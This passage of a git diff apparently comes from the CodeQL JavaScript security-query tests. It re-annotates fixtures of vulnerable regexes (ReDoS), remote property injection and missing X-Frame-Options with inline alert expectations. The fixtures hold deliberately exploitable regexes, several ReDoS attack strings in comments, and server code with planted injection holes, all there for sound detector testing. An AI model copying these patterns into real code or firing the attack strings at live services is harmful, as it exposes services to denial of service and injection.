-var bad10 = /^(([a-z])+.)+[A-Z]([a-z])+$/;
+var bad7 = /^([a-z]+)+$/; // $ Alert[js/redos]
+var bad8 = /^([a-z]*)*$/; // $ Alert[js/redos]
+var bad9 = /^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/; // $ Alert[js/redos]
+var bad10 = /^(([a-z])+.)+[A-Z]([a-z])+$/; // $ Alert[js/redos]
 
-// NOT GOOD; attack: "[" + "][".repeat(100) + "]!"
 // Adapted from Prototype.js (https://github.com/prototypejs/prototype), which
 // is licensed under the MIT license; see file Prototype.js-LICENSE.
-var bad11 = /(([\w#:.~>+()\s-]+|\*|\[.*?\])+)\s*(,|$)/;
+var bad11 = /(([\w#:.~>+()\s-]+|\*|\[.*?\])+)\s*(,|$)/; // $ Alert[js/redos] - attack: "[" + "][".repeat(100) + "]!"
 
-// NOT GOOD; attack: "'" + "\\a".repeat(100) + '"'
 // Adapted from Prism (https://github.com/PrismJS/prism), which is licensed
 // under the MIT license; see file Prism-LICENSE.
-var bad12 = /("|')(\\?.)*?\1/g;
+var bad12 = /("|')(\\?.)*?\1/g; // $ Alert[js/redos] - attack: "'" + "\\a".repeat(100) + '"'
+
+var bad13 = /(b|a?b)*c/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad13 = /(b|a?b)*c/;
+var bad15 = /(a|aa?)*b/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad15 = /(a|aa?)*b/;
 
-// GOOD
 var good7 = /(.|\n)*!/;
 
-// NOT GOOD; attack: "\n".repeat(100) + "."
-var bad16 = /(.|\n)*!/s;
+var bad16 = /(.|\n)*!/s; // $ Alert[js/redos] - attack: "\n".repeat(100) + "."
+
 
-// GOOD
 var good8 = /([\w.]+)*/;
 
-// NOT GOOD
-var bad17 = new RegExp('(a|aa?)*b');
+var bad17 = new RegExp('(a|aa?)*b'); // $ Alert[js/redos]
 
-// GOOD - not used as regexp
+// OK - not used as regexp
 var good9 = '(a|aa?)*b';
 
-// NOT GOOD
-var bad18 = /(([^]|[^a])*)"/;
+var bad18 = /(([^]|[^a])*)"/; // $ Alert[js/redos]
 
-// GOOD - there is no witness in the end that could cause the regexp to not match
+// OK - there is no witness in the end that could cause the regexp to not match
 var good10 = /([^"']+)*/g;
 
-// NOT GOOD
-var bad20 = /((.|[^a])*)"/;
+var bad20 = /((.|[^a])*)"/; // $ Alert[js/redos]
+
 
-// GOOD
 var good10 = /((a|[^a])*)"/;
 
-// NOT GOOD
-var bad21 = /((b|[^a])*)"/;
+var bad21 = /((b|[^a])*)"/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad22 = /((G|[^a])*)"/;
+var bad22 = /((G|[^a])*)"/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad23 = /(([0-9]|[^a])*)"/;
+var bad23 = /(([0-9]|[^a])*)"/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad24 = /(?:=(?:([!#\$%&'\*\+\-\.\^_`\|~0-9A-Za-z]+)|"((?:\\[\x00-\x7f]|[^\x00-\x08\x0a-\x1f\x7f"])*)"))?/;
+var bad24 = /(?:=(?:([!#\$%&'\*\+\-\.\^_`\|~0-9A-Za-z]+)|"((?:\\[\x00-\x7f]|[^\x00-\x08\x0a-\x1f\x7f"])*)"))?/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad25 = /"((?:\\[\x00-\x7f]|[^\x00-\x08\x0a-\x1f\x7f"])*)"/;
+var bad25 = /"((?:\\[\x00-\x7f]|[^\x00-\x08\x0a-\x1f\x7f"])*)"/; // $ Alert[js/redos]
 
-// GOOD
-var bad26 = /"((?:\\[\x00-\x7f]|[^\x00-\x08\x0a-\x1f\x7f"\\])*)"/;
 
-// NOT GOOD
-var bad27 = /(([a-z]|[d-h])*)"/;
+var fix25 = /"((?:\\[\x00-\x7f]|[^\x00-\x08\x0a-\x1f\x7f"\\])*)"/; // OK - fixed version of bad25
 
-// NOT GOOD
-var bad27 = /(([^a-z]|[^0-9])*)"/;
+var bad27 = /(([a-z]|[d-h])*)"/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad28 = /((\d|[0-9])*)"/;
+var bad27 = /(([^a-z]|[^0-9])*)"/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad29 = /((\s|\s)*)"/;
+var bad28 = /((\d|[0-9])*)"/; // $ Alert[js/redos]
+
+var bad29 = /((\s|\s)*)"/; // $ Alert[js/redos]
+
+var bad30 = /((\w|G)*)"/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad30 = /((\w|G)*)"/;
 
-// GOOD
 var good11 = /((\s|\d)*)"/;
 
-// NOT GOOD
-var bad31 = /((\d|\w)*)"/;
+var bad31 = /((\d|\w)*)"/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad32 = /((\d|5)*)"/;
+var bad32 = /((\d|5)*)"/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad33 = /((\s|[\f])*)"/;
+var bad33 = /((\s|[\f])*)"/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad34 = /((\s|[\v]|\\v)*)"/;
+var bad34 = /((\s|[\v]|\\v)*)"/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad35 = /((\f|[\f])*)"/;
+var bad35 = /((\f|[\f])*)"/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad36 = /((\W|\D)*)"/;
+var bad36 = /((\W|\D)*)"/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad37 = /((\S|\w)*)"/;
+var bad37 = /((\S|\w)*)"/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad38 = /((\S|[\w])*)"/;
+var bad38 = /((\S|[\w])*)"/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad39 = /((1s|[\da-z])*)"/;
+var bad39 = /((1s|[\da-z])*)"/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad40 = /((0|[\d])*)"/;
+var bad40 = /((0|[\d])*)"/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad41 = /(([\d]+)*)"/;
+var bad41 = /(([\d]+)*)"/; // $ Alert[js/redos]
 
-// GOOD - there is no witness in the end that could cause the regexp to not match
+// OK - there is no witness in the end that could cause the regexp to not match
 var good12 = /(\d+(X\d+)?)+/;
 
-// GOOD - there is no witness in the end that could cause the regexp to not match
+// OK - there is no witness in the end that could cause the regexp to not match
 var good13 = /([0-9]+(X[0-9]*)?)*/;
 
-// GOOD
+
 var good15 = /^([^>]+)*(>|$)/;
 
-// NOT GOOD
-var bad43 = /^([^>a]+)*(>|$)/;
+var bad43 = /^([^>a]+)*(>|$)/; // $ Alert[js/redos]
+
+var bad44 = /(\n\s*)+$/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad44 = /(\n\s*)+$/;
+var bad45 = /^(?:\s+|#.*|\(\?#[^)]*\))*(?:[?*+]|{\d+(?:,\d*)?})/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad45 = /^(?:\s+|#.*|\(\?#[^)]*\))*(?:[?*+]|{\d+(?:,\d*)?})/;
+var bad46 = /\{\[\s*([a-zA-Z]+)\(([a-zA-Z]+)\)((\s*([a-zA-Z]+)\: ?([ a-zA-Z{}]+),?)+)*\s*\]\}/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad46 = /\{\[\s*([a-zA-Z]+)\(([a-zA-Z]+)\)((\s*([a-zA-Z]+)\: ?([ a-zA-Z{}]+),?)+)*\s*\]\}/;
+var bad47 = /(a+|b+|c+)*c/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad47 = /(a+|b+|c+)*c/;
+var bad48 = /(((a+a?)*)+b+)/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad48 = /(((a+a?)*)+b+)/;
+var bad49 = /(a+)+bbbb/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad49 = /(a+)+bbbb/;
 
-// GOOD
 var good16 = /(a+)+aaaaa*a+/;
 
-// NOT GOOD
-var bad50 = /(a+)+aaaaa$/;
+var bad50 = /(a+)+aaaaa$/; // $ Alert[js/redos]
+
 
-// GOOD
 var good17 = /(\n+)+\n\n/;
 
-// NOT GOOD
-var bad51 = /(\n+)+\n\n$/;
+var bad51 = /(\n+)+\n\n$/; // $ Alert[js/redos]
+
+var bad52 = /([^X]+)*$/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad52 = /([^X]+)*$/;
+var bad53 = /(([^X]b)+)*$/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad53 = /(([^X]b)+)*$/;
 
-// GOOD
 var good18 = /(([^X]b)+)*($|[^X]b)/;
 
-// NOT GOOD
-var bad54 = /(([^X]b)+)*($|[^X]c)/;
+var bad54 = /(([^X]b)+)*($|[^X]c)/; // $ Alert[js/redos]
+
 
-// GOOD
 var good20 = /((ab)+)*ababab/;
 
-// GOOD
+
 var good21 = /((ab)+)*abab(ab)*(ab)+/;
 
-// GOOD
+
 var good22 = /((ab)+)*/;
 
-// NOT GOOD
-var bad55 = /((ab)+)*$/;
+var bad55 = /((ab)+)*$/; // $ Alert[js/redos]
+
 
-// GOOD
 var good23 = /((ab)+)*[a1][b1][a2][b2][a3][b3]/;
 
-// NOT GOOD
-var bad56 = /([\n\s]+)*(.)/;
+var bad56 = /([\n\s]+)*(.)/; // $ Alert[js/redos]
 
-// GOOD - any witness passes through the accept state.
+// OK - any witness passes through the accept state.
 var good24 = /(A*A*X)*/;
 
-// GOOD
+
 var good26 = /([^\\\]]+)*/
 
-// NOT GOOD
-var bad59 = /(\w*foobarbaz\w*foobarbaz\w*foobarbaz\w*foobarbaz\s*foobarbaz\d*foobarbaz\w*)+-/;
+var bad59 = /(\w*foobarbaz\w*foobarbaz\w*foobarbaz\w*foobarbaz\s*foobarbaz\d*foobarbaz\w*)+-/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad60 = /(.thisisagoddamnlongstringforstresstestingthequery|\sthisisagoddamnlongstringforstresstestingthequery)*-/
+var bad60 = /(.thisisagoddamnlongstringforstresstestingthequery|\sthisisagoddamnlongstringforstresstestingthequery)*-/ // $ Alert[js/redos]
+
+var bad61 = /(thisisagoddamnlongstringforstresstestingthequery|this\w+query)*-/ // $ Alert[js/redos]
 
-// NOT GOOD
-var bad61 = /(thisisagoddamnlongstringforstresstestingthequery|this\w+query)*-/
 
-// GOOD
 var good27 = /(thisisagoddamnlongstringforstresstestingthequery|imanotherbutunrelatedstringcomparedtotheotherstring)*-/
 
-// GOOD
+
 var good28 = /foo([\uDC66\uDC67]|[\uDC68\uDC69])*foo/
 
-// GOOD
+
 var good29 = /foo((\uDC66|\uDC67)|(\uDC68|\uDC69))*foo/
 
-// NOT GOOD (but cannot currently construct a prefix)
-var bad62 = /a{2,3}(b+)+X/;
+var bad62 = /a{2,3}(b+)+X/; // $ Alert[js/redos]
+
+var bad63 = /^<(\w+)((?:\s+\w+(?:\s*=\s*(?:(?:"[^"]*")|(?:'[^']*')|[^>\s]+))?)*)\s*(\/?)>/; // $ Alert[js/redos] - and a good prefix test
 
-// NOT GOOD (and a good prefix test)
-var bad63 = /^<(\w+)((?:\s+\w+(?:\s*=\s*(?:(?:"[^"]*")|(?:'[^']*')|[^>\s]+))?)*)\s*(\/?)>/;
 
-// GOOD
 var good30 = /(a+)*[^][^][^]?/;
 
 // GOOD - but we fail to see that repeating the attack string ends in the "accept any" state (due to not parsing the range `[^]{2,3}`).
-var good31 = /(a+)*[^]{2,3}/;
+var good31 = /(a+)*[^]{2,3}/; // $ Alert[js/redos]
 
 // GOOD - but we spuriously conclude that a rejecting suffix exists (due to not parsing the range `[^]{2,}` when constructing the NFA).
-var good32 = /(a+)*([^]{2,}|X)$/;
+var good32 = /(a+)*([^]{2,}|X)$/; // $ Alert[js/redos]
+
 
-// GOOD
 var good33 = /(a+)*([^]*|X)$/;
 
-// NOT GOOD
-var bad64 = /((a+)*$|[^]+)/;
+var bad64 = /((a+)*$|[^]+)/; // $ Alert[js/redos]
+
+var good34 = /([^]+|(a+)*$)/; // $ SPURIOUS: Alert[js/redos] - The only change compared to the above is the order of alternatives, which we don't model.
 
-// GOOD - but still flagged. The only change compared to the above is the order of alternatives, which we don't model.
-var good34 = /([^]+|(a+)*$)/;
 
-// GOOD
 var good35 = /((;|^)a+)+$/;
 
-// NOT GOOD (a good prefix test)
-var bad65 = /(^|;)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(e+)+f/;
+var bad65 = /(^|;)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(e+)+f/; // $ Alert[js/redos] - a good prefix test
+
+var bad66 = /^ab(c+)+$/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad66 = /^ab(c+)+$/;
+var bad67 = /(\d(\s+)*){20}/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad67 = /(\d(\s+)*){20}/;
+// OK - but we spuriously conclude that a rejecting suffix exists.
+var good36 = /(([^/]|X)+)(\/[^]*)*$/; // $ Alert[js/redos]
 
-// GOOD - but we spuriously conclude that a rejecting suffix exists.
-var good36 = /(([^/]|X)+)(\/[^]*)*$/;
+// OK - but we spuriously conclude that a rejecting suffix exists.
+var good37 = /^((x([^Y]+)?)*(Y|$))/; // $ Alert[js/redos]
 
-// GOOD - but we spuriously conclude that a rejecting suffix exists.
-var good37 = /^((x([^Y]+)?)*(Y|$))/;
+var bad68 = /(a*)+b/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad68 = /(a*)+b/;
+var bad69 = /foo([\w-]*)+bar/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad69 = /foo([\w-]*)+bar/;
+var bad70 = /((ab)*)+c/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad70 = /((ab)*)+c/;
+var bad71 = /(a?a?)*b/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad71 = /(a?a?)*b/;
 
-// GOOD
 var good38 = /(a?)*b/;
 
-// NOT GOOD - but not detected
-var bad72 = /(c?a?)*b/;
+var bad72 = /(c?a?)*b/; // $ MISSING: Alert
 
-// NOT GOOD
-var bad73 = /(?:a|a?)+b/;
+var bad73 = /(?:a|a?)+b/; // $ Alert[js/redos]
 
-// NOT GOOD - but not detected.
-var bad74 = /(a?b?)*$/;
+var bad74 = /(a?b?)*$/; // $ MISSING: Alert
 
-// NOT GOOD
-var bad76 = /PRE(([a-c]|[c-d])T(e?e?e?e?|X))+(cTcT|cTXcTX$)/;
+var bad76 = /PRE(([a-c]|[c-d])T(e?e?e?e?|X))+(cTcT|cTXcTX$)/; // $ Alert[js/redos]
 
-// NOT GOOD - but not detected
-var bad77 = /^((a)+\w)+$/;
+var bad77 = /^((a)+\w)+$/; // $ Alert[js/redos]
+
+var bad78 = /^(b+.)+$/; // $ Alert[js/redos]
 
-// NOT GOOD
-var bad78 = /^(b+.)+$/;
 
-// GOOD
 var good39 = /a*b/;
 
-// All 4 bad combinations of nested * and +
-var bad79 = /(a*)*b/;
-var bad80 = /(a+)*b/;
-var bad81 = /(a*)+b/;
-var bad82 = /(a+)+b/;
+// All 4 bad combinations of nested * and +)
+var bad79 = /(a*)*b/; // $ Alert[js/redos]
+var bad80 = /(a+)*b/; // $ Alert[js/redos]
+var bad81 = /(a*)+b/; // $ Alert[js/redos]
+var bad82 = /(a+)+b/; // $ Alert[js/redos]
+
 
-// GOOD
 var good40 = /(a|b)+/;
 var good41 = /(?:[\s;,"'<>(){}|[\]@=+*]|:(?![/\\]))+/;
 
-// NOT GOOD
-var bad83 = /^((?:a{|-)|\w\{)+X$/;
-var bad84 = /^((?:a{0|-)|\w\{\d)+X$/;
-var bad85 = /^((?:a{0,|-)|\w\{\d,)+X$/;
-var bad86 = /^((?:a{0,2|-)|\w\{\d,\d)+X$/;
+var bad83 = /^((?:a{|-)|\w\{)+X$/; // $ Alert[js/redos]
+var bad84 = /^((?:a{0|-)|\w\{\d)+X$/; // $ Alert[js/redos]
+var bad85 = /^((?:a{0,|-)|\w\{\d,)+X$/; // $ Alert[js/redos]
+var bad86 = /^((?:a{0,2|-)|\w\{\d,\d)+X$/; // $ Alert[js/redos]
+
+var bad86AndAHalf = /^((?:a{0,2}|-)|\w\{\d,\d\})+X$/; // $ MISSING: Alert
 
-// NOT GOOD - but not flagged
-var bad86AndAHalf = /^((?:a{0,2}|-)|\w\{\d,\d\})+X$/;
 
-// GOOD
 var good43 = /("[^"]*?"|[^"\s]+)+(?=\s*|\s*$)/g;
 
-// BAD
-var bad87 = /("[^"]*?"|[^"\s]+)+(?=\s*|\s*$)X/g;
-var bad88 = /("[^"]*?"|[^"\s]+)+(?=X)/g;
-var bad89 = /(x*)+(?=$)/
-var bad90 = /(x*)+(?=$|y)/
+var bad87 = /("[^"]*?"|[^"\s]+)+(?=\s*|\s*$)X/g; // $ Alert[js/redos]
+var bad88 = /("[^"]*?"|[^"\s]+)+(?=X)/g; // $ Alert[js/redos]
+var bad89 = /(x*)+(?=$)/ // $ Alert[js/redos]
+var bad90 = /(x*)+(?=$|y)/ // $ Alert[js/redos]
 
-// GOOD - but we spuriously conclude that a rejecting suffix exists.
-var good44 = /([\s\S]*)+(?=$)/;
-var good45 = /([\s\S]*)+(?=$|y)/;
+// OK - but we spuriously conclude that a rejecting suffix exists.
+var good44 = /([\s\S]*)+(?=$)/; // $ Alert[js/redos]
+var good45 = /([\s\S]*)+(?=$|y)/; // $ Alert[js/redos]
 
 var good46 = /(foo|FOO)*bar/;
-var bad91 = /(foo|FOO)*bar/i;
+var bad91 = /(foo|FOO)*bar/i; // $ Alert[js/redos]
 
 var good47 = /([AB]|[ab])*C/;
-var bad92 = /([DE]|[de])*F/i;
+var bad92 = /([DE]|[de])*F/i; // $ Alert[js/redos]
 
-var bad93 = /(?<=^v?|\sv?)(a|aa)*$/; 
-var bad94 = /(a|aa)*$/;
+var bad93 = /(?<=^v?|\sv?)(a|aa)*$/; // $ Alert[js/redos]
+var bad94 = /(a|aa)*$/; // $ Alert[js/redos]
 
 var bad95 = new RegExp(
-    "(a" + 
-    "|" + 
-    "aa)*" + 
-    "b$"
+    "(a" +
+    "|" +
+    "aa)*" +
+    "b$" // $ Alert[js/redos]
 );
 
-var bad96 = new RegExp("(" + 
-    "(c|cc)*|" + 
-    "(d|dd)*|" +
+var bad96 = new RegExp("(" +
+    "(c|cc)*|" + // $ Alert[js/redos]
+    "(d|dd)*|" + // $ Alert[js/redos]
     "(e|ee)*" +
-")f$");
+")f$"); // $ Alert[js/redos]
 
 var bad97 = new RegExp(
-    "(g|gg" + 
-    ")*h$");
+    "(g|gg" +
+    ")*h$"); // $ Alert[js/redos]
 
-var bad98 = /^(?:\*\/\*|[a-zA-Z0-9][a-zA-Z0-9!\#\$&\-\^_\.\+]{0,126}\/(?:\*|[a-zA-Z0-9][a-zA-Z0-9!\#\$&\-\^_\.\+]{0,126})(?:\s* *; *[a-zA-Z0-9][a-zA-Z0-9!\#\$&\-\^_\.\+]{0,126}(?:="?[a-zA-Z0-9][a-zA-Z0-9!\#\$&\-\^_\.\+]{0,126}"?)?\s*)*)$/;
+var bad98 = /^(?:\*\/\*|[a-zA-Z0-9][a-zA-Z0-9!\#\$&\-\^_\.\+]{0,126}\/(?:\*|[a-zA-Z0-9][a-zA-Z0-9!\#\$&\-\^_\.\+]{0,126})(?:\s* *; *[a-zA-Z0-9][a-zA-Z0-9!\#\$&\-\^_\.\+]{0,126}(?:="?[a-zA-Z0-9][a-zA-Z0-9!\#\$&\-\^_\.\+]{0,126}"?)?\s*)*)$/; // $ Alert[js/redos]
 
 var good48 = /(\/(?:\/[\w.-]*)*){0,1}:([\w.-]+)/;
 
-var bad99 = /(a{1,})*b/;
+var bad99 = /(a{1,})*b/; // $ Alert[js/redos]
 
-var unicode = /^\n\u0000(\u0000|.)+$/;
+var unicode = /^\n\u0000(\u0000|.)+$/; // $ Alert[js/redos]
 
-var largeUnicode = new RegExp("^\n\u{1F680}(\u{1F680}|.)+X$");
+var largeUnicode = new RegExp("^\n\u{1F680}(\u{1F680}|.)+X$"); // $ Alert[js/redos]
 
-var unicodeSets = /(aa?)*b/v;
\ No newline at end of file
+var unicodeSets = /(aa?)*b/v; // $ Alert[js/redos]
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/RemovePropertyInjection/RemotePropertyInjection.expected b/javascript/ql/test/query-tests/Security/CWE-400/RemovePropertyInjection/RemotePropertyInjection.expected
index 2f21ec2ca3d2..9b486b593330 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/RemovePropertyInjection/RemotePropertyInjection.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-400/RemovePropertyInjection/RemotePropertyInjection.expected
@@ -1,3 +1,9 @@
+#select
+| tst.js:9:8:9:11 | prop | tst.js:8:28:8:51 | req.que ... trolled | tst.js:9:8:9:11 | prop | A property name to write to depends on a $@. | tst.js:8:28:8:51 | req.que ... trolled | user-provided value |
+| tst.js:13:15:13:18 | prop | tst.js:8:28:8:51 | req.que ... trolled | tst.js:13:15:13:18 | prop | A property name to write to depends on a $@. | tst.js:8:28:8:51 | req.que ... trolled | user-provided value |
+| tst.js:14:31:14:34 | prop | tst.js:8:28:8:51 | req.que ... trolled | tst.js:14:31:14:34 | prop | A property name to write to depends on a $@. | tst.js:8:28:8:51 | req.que ... trolled | user-provided value |
+| tst.js:16:10:16:13 | prop | tst.js:8:28:8:51 | req.que ... trolled | tst.js:16:10:16:13 | prop | A property name to write to depends on a $@. | tst.js:8:28:8:51 | req.que ... trolled | user-provided value |
+| tstNonExpr.js:8:17:8:23 | userVal | tstNonExpr.js:5:17:5:23 | req.url | tstNonExpr.js:8:17:8:23 | userVal | A header name depends on a $@. | tstNonExpr.js:5:17:5:23 | req.url | user-provided value |
 edges
 | tst.js:8:6:8:52 | prop | tst.js:9:8:9:11 | prop | provenance |  |
 | tst.js:8:6:8:52 | prop | tst.js:13:15:13:18 | prop | provenance |  |
@@ -30,9 +36,3 @@ nodes
 | tstNonExpr.js:8:17:8:23 | userVal | semmle.label | userVal |
 subpaths
 | tst.js:8:28:8:51 | req.que ... trolled | tst.js:21:25:21:25 | x | tst.js:23:9:23:42 | result. ... length) | tst.js:8:13:8:52 | myCoolL ... rolled) |
-#select
-| tst.js:9:8:9:11 | prop | tst.js:8:28:8:51 | req.que ... trolled | tst.js:9:8:9:11 | prop | A property name to write to depends on a $@. | tst.js:8:28:8:51 | req.que ... trolled | user-provided value |
-| tst.js:13:15:13:18 | prop | tst.js:8:28:8:51 | req.que ... trolled | tst.js:13:15:13:18 | prop | A property name to write to depends on a $@. | tst.js:8:28:8:51 | req.que ... trolled | user-provided value |
-| tst.js:14:31:14:34 | prop | tst.js:8:28:8:51 | req.que ... trolled | tst.js:14:31:14:34 | prop | A property name to write to depends on a $@. | tst.js:8:28:8:51 | req.que ... trolled | user-provided value |
-| tst.js:16:10:16:13 | prop | tst.js:8:28:8:51 | req.que ... trolled | tst.js:16:10:16:13 | prop | A property name to write to depends on a $@. | tst.js:8:28:8:51 | req.que ... trolled | user-provided value |
-| tstNonExpr.js:8:17:8:23 | userVal | tstNonExpr.js:5:17:5:23 | req.url | tstNonExpr.js:8:17:8:23 | userVal | A header name depends on a $@. | tstNonExpr.js:5:17:5:23 | req.url | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/RemovePropertyInjection/RemotePropertyInjection.qlref b/javascript/ql/test/query-tests/Security/CWE-400/RemovePropertyInjection/RemotePropertyInjection.qlref
index 152a2f50ac15..3d135e258541 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/RemovePropertyInjection/RemotePropertyInjection.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-400/RemovePropertyInjection/RemotePropertyInjection.qlref
@@ -1 +1,2 @@
-Security/CWE-400/RemotePropertyInjection.ql
\ No newline at end of file
+query: Security/CWE-400/RemotePropertyInjection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/RemovePropertyInjection/tst.js b/javascript/ql/test/query-tests/Security/CWE-400/RemovePropertyInjection/tst.js
index a0df1d8879ea..301b7b808810 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/RemovePropertyInjection/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/RemovePropertyInjection/tst.js
@@ -5,15 +5,15 @@ var myObj = {}
 
 app.get('/user/:id', function(req, res) {
 	myCoolLocalFct(req.query.userControlled);
-	var prop = myCoolLocalFct(req.query.userControlled);
-	myObj[prop] = 23; // NOT OK
-	myObj.prop = 23; // OK
-	var x = myObj[prop]; // NOT OK, but flagged by different query
+	var prop = myCoolLocalFct(req.query.userControlled); // $ Source
+	myObj[prop] = 23; // $ Alert
+	myObj.prop = 23;
+	var x = myObj[prop]; // OK - flagged by different query
 	x(23);
-	delete myObj[prop]; // NOT OK
-	Object.defineProperty(myObj, prop, {value: 24}); // NOT OK
+	delete myObj[prop]; // $ Alert
+	Object.defineProperty(myObj, prop, {value: 24}); // $ Alert
 	var headers = {};
-	headers[prop] = 42; // NOT OK
+	headers[prop] = 42; // $ Alert
 	res.set(headers);
 	myCoolLocalFct[req.query.x](); // OK - flagged by method name injection
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/RemovePropertyInjection/tstNonExpr.js b/javascript/ql/test/query-tests/Security/CWE-400/RemovePropertyInjection/tstNonExpr.js
index 96813bcfddab..8174c512f345 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/RemovePropertyInjection/tstNonExpr.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/RemovePropertyInjection/tstNonExpr.js
@@ -2,10 +2,10 @@ var http = require('http');
 var url = require('url');
 
 var server = http.createServer(function(req, res) {
-  var userVal = req.url;
+  var userVal = req.url; // $ Source
   var newProp = "$" + userVal;  
-  x[newProp] = 23; // OK  
-  res.setHeader(userVal, 'text/html'); // NOT OK
+  x[newProp] = 23;
+  res.setHeader(userVal, 'text/html'); // $ Alert
   res.write("foo");
   res.end("bar");
 })
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-451/MissingXFrameOptions.qlref b/javascript/ql/test/query-tests/Security/CWE-451/MissingXFrameOptions.qlref
index 5e4cdc283104..e207cce0bbc4 100644
--- a/javascript/ql/test/query-tests/Security/CWE-451/MissingXFrameOptions.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-451/MissingXFrameOptions.qlref
@@ -1 +1,2 @@
-Security/CWE-451/MissingXFrameOptions.ql
+query: Security/CWE-451/MissingXFrameOptions.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-451/connect-bad.js b/javascript/ql/test/query-tests/Security/CWE-451/connect-bad.js
index 33372750e587..e224100b4ade 100644
--- a/javascript/ql/test/query-tests/Security/CWE-451/connect-bad.js
+++ b/javascript/ql/test/query-tests/Security/CWE-451/connect-bad.js
@@ -1,7 +1,7 @@
 var connect = require('connect');
 var http = require('http');
 
-var app = connect();
+var app = connect(); // $ Alert
 
 app.use(function (req, res){
 
diff --git a/javascript/ql/test/query-tests/Security/CWE-451/express-bad.js b/javascript/ql/test/query-tests/Security/CWE-451/express-bad.js
index a5b05b3a16b9..7aa58b6b4e15 100644
--- a/javascript/ql/test/query-tests/Security/CWE-451/express-bad.js
+++ b/javascript/ql/test/query-tests/Security/CWE-451/express-bad.js
@@ -1,5 +1,5 @@
 var express = require('express'),
-    app = express();
+    app = express(); // $ Alert
 
 
 app.get('/', function (req, res) {
diff --git a/javascript/ql/test/query-tests/Security/CWE-451/express-good-array-routers.js b/javascript/ql/test/query-tests/Security/CWE-451/express-good-array-routers.js
index efe2e732b552..53efa1cc9537 100644
--- a/javascript/ql/test/query-tests/Security/CWE-451/express-good-array-routers.js
+++ b/javascript/ql/test/query-tests/Security/CWE-451/express-good-array-routers.js
@@ -1,5 +1,5 @@
 var express = require('express'),
-    app = express();
+    app = express(); // $ SPURIOUS: Alert
 
 app.get('/', [
     function (req, res){
diff --git a/javascript/ql/test/query-tests/Security/CWE-451/hapi-bad.js b/javascript/ql/test/query-tests/Security/CWE-451/hapi-bad.js
index 12a18c1cbef5..b9e5d447e72d 100644
--- a/javascript/ql/test/query-tests/Security/CWE-451/hapi-bad.js
+++ b/javascript/ql/test/query-tests/Security/CWE-451/hapi-bad.js
@@ -1,5 +1,5 @@
 var Hapi = require('hapi');
-var server = new Hapi.Server();
+var server = new Hapi.Server(); // $ Alert
 server.route({
     handler: function (request, reply){
 
diff --git a/javascript/ql/test/query-tests/Security/CWE-451/koa-bad.js b/javascript/ql/test/query-tests/Security/CWE-451/koa-bad.js
index 8308b19bee75..5ae9cfe130c4 100644
--- a/javascript/ql/test/query-tests/Security/CWE-451/koa-bad.js
+++ b/javascript/ql/test/query-tests/Security/CWE-451/koa-bad.js
@@ -1,5 +1,5 @@
 var Koa = require('koa');
-var app = new Koa();
+var app = new Koa(); // $ Alert
 app.use(function handler(ctx){
 
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-451/node-bad.js b/javascript/ql/test/query-tests/Security/CWE-451/node-bad.js
index 4e5fbb685497..2bc553aa7852 100644
--- a/javascript/ql/test/query-tests/Security/CWE-451/node-bad.js
+++ b/javascript/ql/test/query-tests/Security/CWE-451/node-bad.js
@@ -1,4 +1,4 @@
 var http = require('http')
 
 http.createServer(function (request, response) {
-  }).listen(9615)
+  }).listen(9615) // $ Alert
